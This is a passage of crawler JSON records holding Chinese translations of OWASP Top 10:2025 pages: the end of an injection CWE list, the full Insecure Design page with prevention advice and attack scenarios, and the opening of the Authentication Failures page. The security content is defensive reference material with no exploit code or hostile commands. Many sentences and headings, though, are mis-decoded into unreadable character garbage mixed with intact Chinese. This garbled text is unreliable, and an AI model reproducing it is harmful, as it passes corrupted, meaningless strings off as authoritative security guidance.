ćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 ĺŠ¨ć€ćą‚ĺ€źäťŁç ä¸­ćŒ‡äť¤ä¸­ĺ’Œä¸ĺ˝“ďźˆĺŠ¨ć€ćą‚ĺ€źćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 é™ć€äżĺ­˜äťŁç ä¸­ćŒ‡äť¤ä¸­ĺ’Œä¸ĺ˝“ďźˆé™ć€äťŁç ćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 网页中服务端包含(SSI)中和不当](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 PHP 程序中 `include`/`require` 语句文件名控制不当(PHP 远程文件包含)](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 čľ„ćşć ‡čŻ†çŹŚćŽ§ĺˆśä¸ĺ˝“ďźˆčľ„ćşćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts:`validate()` 方法定义不完整](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts:表单 Bean 未扩展验证类](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 缺少 XML 验证](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 HTTP 头中 CRLF 序列中和不当(HTTP 响应拆分)](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 进程控制](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 输出解释错误](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 čž“ĺ‡şçź–ç ćˆ–č˝Źäš‰ä¸ĺ˝“](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 数组索引验证不当](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 ç‰šćŽŠĺ…ƒç´ ć— ć•ˆä˝żç”¨ĺ¤„ç†ä¸ĺ˝“](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 ä˝żç”¨ĺ¤–éƒ¨ĺŻćŽ§čž“ĺ…Ľé€‰ć‹Šçąťćˆ–äťŁç ďźˆä¸ĺŽ‰ĺ…¨ĺĺ°„ďź‰](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 关键 `public` 变量缺少 `final` 俎鼰珌](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 `public static` ĺ­—ćŽľćœŞć ‡čŽ°ä¸ş `final`](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL 注入:Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 对另一范围中资源的外部可控引用](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 XPath 表达式中数据中和不当(XPath 注入)](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 脚本语法的 HTTP 头中和不当](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 čĄ¨čžžĺźčŻ­č¨€čŻ­ĺĽä¸­ç‰šćŽŠĺ…ƒç´ ä¸­ĺ’Œä¸ĺ˝“ďźˆčĄ¨čžžĺźčŻ­č¨€ćł¨ĺ…Ľďź‰](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 10081, "slov": 575, "odkazu": 86, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:23", "sha256": "187146dde59873d0cb695b28ec194bfdb4ec3ce12d7d8d6416455d34e24f3735", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A06_2025-Insecure_Design/", "titulek": "A06 不安全设计 - OWASP Top 10:2025", "h1": "A06:2025 不安全设计", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A06_2025-Insecure_Design/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 不安全设计"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 3, "text": "需求和资源管理"}, {"uroven": 3, "text": "安全设计"}, {"uroven": 3, "text": "安全开发生命周期"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A06:2025 不安全设计\n\n## 背景\n\n不安全设计排名从第 4 位下滑两位到第 6 位,被 **[A02:2025-安全配置错误](../A02_2025-Security_Misconfiguration/)** 和 **[A03:2025-软件供应链失效](../A03_2025-Software_Supply_Chain_Failures/)** 超过。该类别于 2021 ĺš´ĺź•ĺ…ĽďźŒćˆ‘äťŹĺˇ˛çťçœ‹ĺˆ°čĄŒä¸šĺœ¨ĺ¨čƒĺťşć¨Ąć–šé˘ćœ‰ć˜Žć˜žć”ščż›ďźŒäšŸć›´ĺŠ é‡č§†ĺŽ‰ĺ…¨čŽžčŽĄă€‚čŻĽçąťĺˆŤĺ…łćł¨ä¸ŽčŽžčŽĄĺ’Œćžśćž„çźşé™ˇç›¸ĺ…łçš„éŁŽé™ŠďźŒĺšśĺ‘źĺć›´ĺ¤šä˝żç”¨ĺ¨čƒĺťşć¨Ąă€ĺŽ‰ĺ…¨čŽžčŽĄć¨Ąĺźĺ’Œĺ‚č€ƒćžśćž„ă€‚čż™ĺŒ…ć‹Źĺş”ç”¨ä¸šĺŠĄé€ťčž‘ä¸­çš„çźşé™ˇďźŒäž‹ĺŚ‚ć˛Ąćœ‰ĺŽšäš‰ĺş”ç”¨ĺ†…éƒ¨ä¸ĺ¸Œćœ›ĺ‘ç”Ÿćˆ–ć„ĺ¤–ĺ‘ç”Ÿçš„çŠść€ĺ˜ĺŒ–ă€‚ä˝œä¸şç¤žĺŒşďźŒćˆ‘äťŹéœ€čŚčś…čśŠçź–ç é˜śćŽľçš„â€œĺˇŚç§ťâ€ďźŒćŽ¨čż›ĺˆ°éœ€ćą‚çź–ĺ†™ĺ’Œĺş”ç”¨čŽžčŽĄç­‰çź–ç ĺ‰ć´ťĺŠ¨ďźŒčż™äş›ć´ťĺŠ¨ĺŻš Secure by Design 原则至关重要(例如参见 **[建立现代 AppSec 计划:规划和设计阶段](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**)。值得关注的通用弱点枚举(CWE)包括 *CWE-256:凭据存储未受保护*、*CWE-269:权限管理不当*、*CWE-434ďźšĺąé™Šçąťĺž‹ć–‡äťśä¸Šäź ä¸ĺ—é™ĺˆś*、*CWE-501:信任边界违背* 和 *CWE-522:凭据保护不足*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 | 7,647 |\n\n## 描述\n\nä¸ĺŽ‰ĺ…¨čŽžčŽĄć˜Żä¸€ä¸ŞĺŽ˝ćł›çąťĺˆŤďźŒäťŁčĄ¨ĺ¤šç§ĺźąç‚šďźŒĺŻćŚ‚ć‹Źä¸şâ€œçźşĺ¤ąćˆ–ć— ć•ˆçš„ćŽ§ĺˆśčŽžčŽĄâ€ă€‚ä¸ĺŽ‰ĺ…¨čŽžčŽĄä¸ć˜Żĺ…śäť–ć‰€ćœ‰ Top Ten éŁŽé™ŠçąťĺˆŤçš„ćĽćşă€‚éœ€čŚćł¨ć„ďźŒä¸ĺŽ‰ĺ…¨čŽžčŽĄĺ’Œä¸ĺŽ‰ĺ…¨ĺŽžçŽ°ć˜Żä¸ĺŒçš„ă€‚ćˆ‘äťŹĺŒşĺˆ†čŽžčŽĄçźşé™ˇĺ’ŒĺŽžçŽ°çźşé™ˇć˜Żćœ‰ĺŽŸĺ› çš„ďźšĺŽƒäťŹć šĺ› ä¸ĺŒďźŒĺ‘ç”Ÿĺœ¨ĺź€ĺ‘ćľç¨‹çš„ä¸ĺŒć—śé—´ç‚šďźŒäżŽĺ¤ć–šĺźäšŸä¸ĺŒă€‚ĺŽ‰ĺ…¨čŽžčŽĄäťĺŻčƒ˝ĺ› ĺŽžçŽ°çźşé™ˇäş§ç”ŸĺŻč˘ŤĺˆŠç”¨çš„ćźć´žă€‚ä¸ĺŽ‰ĺ…¨čŽžčŽĄć— ćł•é€ščż‡ĺŽŒçžŽĺŽžçŽ°äżŽĺ¤ďźŒĺ› ä¸şé˜˛ĺžĄç‰šĺŽšć”ťĺ‡ťć‰€éœ€çš„ĺŽ‰ĺ…¨ćŽ§ĺˆśäťŽćœŞč˘Ťĺˆ›ĺťşă€‚ĺŻźč‡´ä¸ĺŽ‰ĺ…¨čŽžčŽĄçš„ĺ› ç´ äš‹ä¸€ďźŒć˜Żĺź€ĺ‘ä¸­çš„č˝Żäťśćˆ–çłťçťŸćœŹčşŤçźşĺ°‘ä¸šĺŠĄéŁŽé™Šç”ťĺƒďźŒĺ› ć­¤ć— ćł•ĺˆ¤ć–­éœ€čŚäť€äšˆçş§ĺˆŤçš„ĺŽ‰ĺ…¨čŽžčŽĄă€‚\n\n安全设计包含三个关键部分:\n\n- 收集需求和资源管理\n- 创建安全设计\n- 具备安全开发生命周期\n\n### 需求和资源管理\n\n与业务方收集并协商应用的业务需求,包括所有数据资产在机密性、完整性、可用性和真实性方面的保护需求,以及预期业务逻辑。考虑应用将暴露到什么程度,以及是否需要租户隔离(超出访问控制所需的隔离)。汇总技术需求,包括功能性和非功能性安全需求。规划并协商覆盖设计、构建、测试和运维的预算,其中包括安全活动。\n\n### 安全设计\n\nĺŽ‰ĺ…¨čŽžčŽĄć˜Żä¸€ç§ć–‡ĺŒ–ĺ’Œć–šćł•čŽşďźŒäźšćŒçť­čŻ„äź°ĺ¨čƒďźŒĺšśçĄŽäżäťŁç çťčż‡ç¨łĺĽčŽžčŽĄĺ’Œćľ‹čŻ•ďźŒäťĽé˜˛ć­˘ĺˇ˛çŸĽć”ťĺ‡ťć–šćł•ă€‚ĺ¨čƒĺťşć¨Ąĺş”é›†ćˆĺˆ°éœ€ćą‚çť†ĺŒ–äźšďźˆćˆ–çąťäźźć´ťĺŠ¨ďź‰ä¸­ďź›ĺ…łćł¨ć•°ćŽćľă€čŽżé—ŽćŽ§ĺˆśćˆ–ĺ…śäť–ĺŽ‰ĺ…¨ćŽ§ĺˆśçš„ĺ˜ĺŒ–ă€‚ĺœ¨ć•…äş‹ĺź€ĺ‘čż‡ç¨‹ä¸­ďźŒçĄŽĺŽšć­ŁçĄŽćľç¨‹ĺ’Œĺ¤ąč´ĽçŠść€ďźŒĺšśçĄŽäżç›¸ĺ…łč´Łäťťć–šĺ’Œĺ—ĺ˝ąĺ“ć–šéƒ˝ç†č§Łĺšśčžžćˆä¸€č‡´ă€‚ĺˆ†ćžé˘„ćœŸćľç¨‹ĺ’Œĺ¤ąč´Ľćľç¨‹ä¸­çš„ĺ‡čŽžĺŠćĄäťśďźŒçĄŽäżĺŽƒäťŹäťç„śĺ‡†çĄŽä¸”çŹŚĺˆé˘„ćœŸă€‚çĄŽĺŽšĺŚ‚ä˝•éŞŒčŻčż™äş›ĺ‡čŽžďźŒĺšśĺźşĺˆść‰§čĄŒć­ŁçĄŽčĄŒä¸şć‰€éœ€çš„ćĄäťśă€‚çĄŽäżçť“ćžœčŽ°ĺ˝•ĺœ¨ć•…äş‹ä¸­ă€‚äťŽé”™čŻŻä¸­ĺ­Śäš ďźŒĺšśćäž›ć­Łĺ‘ćż€ĺŠąćĽäżƒčż›ć”ščż›ă€‚ĺŽ‰ĺ…¨čŽžčŽĄć—˘ä¸ć˜Żé™„ĺŠ éĄšďźŒäšŸä¸ć˜Żä¸€ä¸ŞĺŻäťĽçŽ€ĺ•ĺŠ ĺˆ°č˝Żäťśä¸Šçš„ĺˇĽĺ…ˇă€‚\n\n### 安全开发生命周期\n\n安全软件需要安全开发生命周期、安全设计模式、铺好的道路方法、安全组件库、合适工具、威胁建模,以及用于改进流程的事件复盘。请在软件项目开始时、项目过程中以及持续软件维护期间联系安全专家。考虑使用 [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/) 来组织安全软件开发工作。\n\n开发人员的自我责任常被低估。应培养安全意识、责任感和主动缓解风险的文化。围绕安全的定期交流(例如威胁建模会)可以形成一种思维方式,让安全进入所有重要设计决策。\n\n## 如何预防\n\n- 与 AppSec 专业人员共同建立并使用安全开发生命周期,以帮助评估和设计与安全及隐私相关的控制。\n- 建立并使用安全设计模式库或铺好的道路组件库。\n- 对应用的关键部分使用威胁建模,例如认证、访问控制、业务逻辑和关键流程。\n- 将威胁建模作为教育工具,用来形成安全思维。\n- 将安全语言和控制集成到用户故事中。\n- 在应用的每一层(从前端到后端)集成合理性检查。\n- 编写单元测试和集成测试,验证所有关键流程能够抵御威胁模型。为应用每一层编写用例 *和* 滥用用例。\n- ć šćŽćš´éœ˛ç¨‹ĺşŚĺ’ŒäżćŠ¤éœ€ćą‚ďźŒĺœ¨çłťçťŸĺą‚ĺ’Œç˝‘çťœĺą‚éš”çŚťĺ„ĺą‚ă€‚\n- 在所有层中通过设计稳健地隔离租户。\n\n## 攻击场景示例\n\n**场景 #1:** 凭据恢复流程可能包含“问题和答案”,但 NIST 800-63b、OWASP ASVS 和 OWASP Top 10 éƒ˝çŚć­˘čż™ç§ć–šĺźă€‚é—Žé˘˜ĺ’Œç­”ćĄˆä¸čƒ˝ä˝œä¸şčşŤäť˝äžćŽďźŒĺ› ä¸şä¸ć­˘ä¸€ä¸ŞäşşĺŻčƒ˝çŸĽé“ç­”ćĄˆă€‚ć­¤çąťĺŠŸčƒ˝ĺş”č˘Ťç§ťé™¤ďźŒĺšść›żć˘ä¸şć›´ĺŽ‰ĺ…¨çš„čŽžčŽĄă€‚\n\n**场景 #2:** 某连锁影院允许团体订票折扣,并规定超过 15 人才需要支付定金。攻击者可以对该流程进行威胁建模,测试是否能在应用业务逻辑中找到攻击向量,例如通过少量请求一次性预订 600 ä¸Şĺş§ä˝ĺ’Œć‰€ćœ‰ĺ˝ąé™˘ďźŒé€ ćˆĺˇ¨ĺ¤§ć”śĺ…ĽćŸĺ¤ąă€‚\n\n**场景 #3:** ćŸé›śĺ”Žčżžé”çš„ç”ľĺ­ĺ•†ĺŠĄç˝‘çŤ™ć˛Ąćœ‰é˜˛ćŠ¤éť„ç‰›ćœşĺ™¨äşşćŠ˘č´­éŤ˜çŤŻć˜žĺĄĺšśč˝Źĺ–ĺˆ°ć‹ĺ–ç˝‘çŤ™ă€‚čż™äźšçť™ć˜žĺĄĺŽ‚ĺ•†ĺ’Œé›śĺ”Žčżžé”ć‰€ćœ‰č€…ĺ¸ŚćĽä¸Ľé‡č´Ÿé˘čˆ†čŽşďźŒäšŸäźščŽŠć— ćł•äťĽäťťä˝•äťˇć źäš°ĺˆ°ć˜žĺĄçš„çˆąĺĽ˝č€…é•żćœŸä¸ćťĄă€‚ĺ‘¨ĺŻ†çš„ĺćœşĺ™¨äşşčŽžčŽĄĺ’Œé˘†ĺŸŸé€ťčž‘č§„ĺˆ™ďźŒäž‹ĺŚ‚čŻ†ĺˆŤĺœ¨ĺź€ĺ”ŽĺŽĺ‡ ç§’ĺ†…ĺŽŒćˆçš„č´­äš°ďźŒĺŻčƒ˝čŻ†ĺˆŤéžçœŸĺŽžč´­äš°ĺšść‹’çťć­¤çąťäş¤ć˜“ă€‚\n\n## 参考资料\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST - Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-73 文件名或路径受外部控制](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 允许输入列表过于宽松](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 凭据存储未受保护](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 权限分配错误](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 权限管理不当](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 用户管理错误](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 çźşĺ°‘ć•ć„Ÿć•°ćŽĺŠ ĺŻ†](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 明文存储敏感信息](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 在文件或磁盘上明文存储](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 在内存中明文存储敏感信息](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 使用共享资源并发执行时同步不当(竞争条件)](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE 不良实践:使用 `System.exit()`](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 主通道未受保护](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 ĺąé™Šçąťĺž‹ć–‡äťśä¸Šäź ä¸ĺ—é™ĺˆś](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 解释冲突](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 HTTP 请求解释不一致(HTTP 请求走私)](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 用户界面对关键信息表述失真](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 可信变量或数据存储受外部初始化](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 假定不可变的网站参数受外部控制](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 信任边界违背](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 凭据保护不足](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 使用含敏感信息的浏览器缓存](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 使用包含敏感信息的持久 Cookie](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 使用带敏感查询字符串的 `GET` 请求方法](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 在客户端强制执行服务端安全](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 函数调用参数指定错误](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 关键状态数据受外部控制](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 依赖外部提供文件的文件名或扩展名](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 隔离或分隔不足](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 依赖隐藏实现安全](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 违反安全设计原则](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 使用潜在危险函数](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 保护机制失效](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 交互频率控制不当](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 安全决策依赖不可信输入](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 行为工作流强制执行不当](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 渲染用户界面层或框架限制不当](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 使用带 `window.opener` čŽżé—Žćƒé™ă€ćŒ‡ĺ‘ä¸ĺŻäżĄç›Žć ‡çš„ç˝‘çŤ™é“žćŽĽ](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 攻击面过大](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 10289, "slov": 426, "odkazu": 84, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:24", "sha256": "b34078942c3b86455ac8a2c9ae6ab4121790b0393945887558ac1d4b45e9bea3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A07_2025-Authentication_Failures/", "titulek": "A07 认证失效 - OWASP Top 10:2025", "h1": "A07:2025 认证失效", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A07_2025-Authentication_Failures/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 认证失效"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A07:2025 认证失效\n\n## 背景\n\n认证失效保持第 7 ä˝ďźŒĺç§°ç•Ľćœ‰ĺ˜ĺŒ–ďźŒäťĽć›´ĺ‡†çĄŽĺœ°ĺć˜ ćœŹçąťĺˆŤä¸­çš„ 36 个 CWEă€‚ĺ°˝çŽĄć ‡ĺ‡†ĺŒ–ćĄ†ćžśĺ¸ŚćĽäş†ä¸€äş›ĺĽ˝ĺ¤„ďźŒćœŹçąťĺˆŤäťäżćŒäş† 2021 年的第 7 位。值得关注的 CWE 包括 *CWE-259ďźšä˝żç”¨çĄŹçź–ç ĺŻ†ç *、*CWE-297:证书主机不匹配验证不当*、*CWE-287:认证不当*、*CWE-384:会话固定* 和 *CWE-798ďźšä˝żç”¨çĄŹçź–ç ĺ‡­ćŽ*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 | 7,147 |\n\n## 描述\n\nĺ˝“ć”ťĺ‡ťč€…čƒ˝ĺ¤ŸćŹşéŞ—çłťçťŸďźŒä˝żçłťçťŸćŠŠć— ć•ˆćˆ–é”™čŻŻç”¨ćˆˇčŻ†ĺˆŤä¸şĺˆćł•ç”¨ćˆˇć—śďźŒĺ°ąĺ­˜ĺœ¨čŻĽćźć´žă€‚ĺŚ‚ćžœĺş”ç”¨ĺ­˜ĺœ¨äťĽä¸‹ćƒ…ĺ†ľďźŒĺŻčƒ˝ĺ­˜ĺœ¨čŽ¤čŻĺźąç‚šďźš\n\n- ĺ…čŽ¸ĺ‡­ćŽĺĄŤĺ……ç­‰č‡ŞĺŠ¨ĺŒ–ć”ťĺ‡ťďźŒĺłć”ťĺ‡ťč€…ć‹Ľćœ‰ä¸€ć‰šćł„éœ˛çš„ćœ‰ć•ˆç”¨ćˆˇĺĺ’ŒĺŻ†ç ă€‚čż‘ćœŸć­¤çąťć”ťĺ‡ťĺˇ˛ć‰Šĺą•ĺˆ°ĺŒ…ć‹ŹćˇˇĺˆĺŻ†ç ć”ťĺ‡ťä¸Žĺ‡­ćŽĺĄŤĺ……ďźˆäšŸç§°ä¸şĺŻ†ç ĺ–ˇć´’ć”ťĺ‡ťďź‰ďźŒć”ťĺ‡ťč€…äźšä˝żç”¨ćł„éœ˛ĺ‡­ćŽçš„ĺ˜ä˝“ćˆ–é€’ĺ˘žĺ˝˘ĺźćĽĺ°čŻ•čŽżé—ŽďźŒäž‹ĺŚ‚ĺ°čŻ• Password1!、Password2!、Password3! 等。\n- ĺ…čŽ¸ćš´ĺŠ›ç ´č§Łćˆ–ĺ…śäť–č‡ŞĺŠ¨ĺŒ–č„šćœŹć”ťĺ‡ťďźŒä¸”ä¸čƒ˝ĺżŤé€Ÿé˜ťć–­ă€‚\n- ĺ…čŽ¸éť˜čŽ¤ă€ĺźąćˆ–äź—ć‰€ĺ‘¨çŸĽçš„ĺŻ†ç ďźŒäž‹ĺŚ‚ç”¨ćˆˇĺä¸ş \"admin\" ä¸”ĺŻ†ç äšŸä¸ş \"admin\",或使用 \"Password1\"。\n- 允许用户使用已知泄露凭据创建新账户。\n- ĺ…čŽ¸ä˝żç”¨ĺźąćˆ–ć— 